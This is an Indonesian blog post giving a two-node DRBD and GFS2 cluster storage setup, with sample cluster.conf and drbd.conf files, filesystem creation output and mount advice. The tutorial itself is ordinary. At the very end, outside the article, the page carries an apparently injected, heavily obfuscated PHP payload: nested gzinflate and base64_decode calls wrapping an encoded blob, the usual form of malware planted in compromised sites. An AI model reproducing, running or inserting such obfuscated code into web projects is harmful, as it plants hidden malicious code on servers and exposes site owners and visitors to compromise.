Delicious

Archives

Categories

[Cluster Storage] DRBD – GFS2

  ozzie / 30/11/2012


Bahan dasar:
- DRBD www.drbd.org | wiki
- GFS2 (http://en.wikipedia.org/wiki/GFS2

1. /etc/cluster/cluster.conf

<?xml version="1.0"?>
<cluster alias="kandang-monyet" config_version="14" name="kandang-monyet">
  <rm log_level="4"/>
  <fence_daemon clean_start="1" post_fail_delay="0" post_join_delay="3"/>
  <clusternodes>
    <clusternode name="node1" nodeid="1" votes="1">
      <fence>
        <method name="2">
          <device name="LastResortNode01"/>
        </method>
      </fence>
    </clusternode>
    <clusternode name="node2" nodeid="2" votes="1">
      <fence>
        <method name="2">
          <device name="LastResortNode02"/>
        </method>
      </fence>
    </clusternode>
  </clusternodes>
  <cman expected_votes="1" two_node="1"/>
  <fencedevices>
    <fencedevice agent="fence_manual" name="LastResortNode01" nodename="node1"/>
    <fencedevice agent="fence_manual" name="LastResortNode02" nodename="node2"/>
  </fencedevices>
  <rm/>
  <totem consensus="4800" join="60" token="10000" token_retransmits_before_loss_const="20"/>
</cluster>

2. /etc/drbd.conf

global { usage-count no; }
resource res0 {
  protocol C;
  startup { become-primary-on both;  wfc-timeout 10; degr-wfc-timeout     30; }
  disk { on-io-error detach; 
#fencing resource-and-stonith;
} 
net {   
    after-sb-0pri discard-zero-changes;
    after-sb-1pri discard-secondary;
    after-sb-2pri disconnect;
    allow-two-primaries; 
    cram-hmac-alg "sha1"; 
    shared-secret "m0ny3t"; 
} 
 
syncer { rate 10M; }
 
on node1.kebonbinatang.org {
    device /dev/drbd0;
    disk /dev/sdb;
    address 10.0.5.2:7788;
    meta-disk internal;
}
 
on node2.kebonbinatang.org {
    device /dev/drbd0;
    disk /dev/sdb;
    address 10.0.5.3:7788;
    meta-disk internal;
}
# handlers { outdate-peer "/sbin/kill-peer.sh";  }
}

3. Format dengan GFS2 filesystem

[root@node1]# mkfs.gfs2 -p lock_dlm -t kandang-monyet:res0 /dev/drbd0 -j 2
This will destroy any data on /dev/drbd0.
Are you sure you want to proceed? [y/n] y
 
Device:                    /dev/drbd0
Blocksize:                 4096
Device Size                20.00 GB (5242966 blocks)
Filesystem Size:           20.00 GB (5242963 blocks)
Journals:                  2
Resource Groups:           81
Locking Protocol:          "lock_dlm"
Lock Table:                "kandang-monyet:res0"
UUID:                      10F88180-62F7-0744-8E8B-FEE249A4D50D

4. Mounting
jangan lupa mounting pakek option noatime & nodiratime..

[root@node1]#  mount -o noatime,nodiratime /dev/drbd0 /mnt

« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>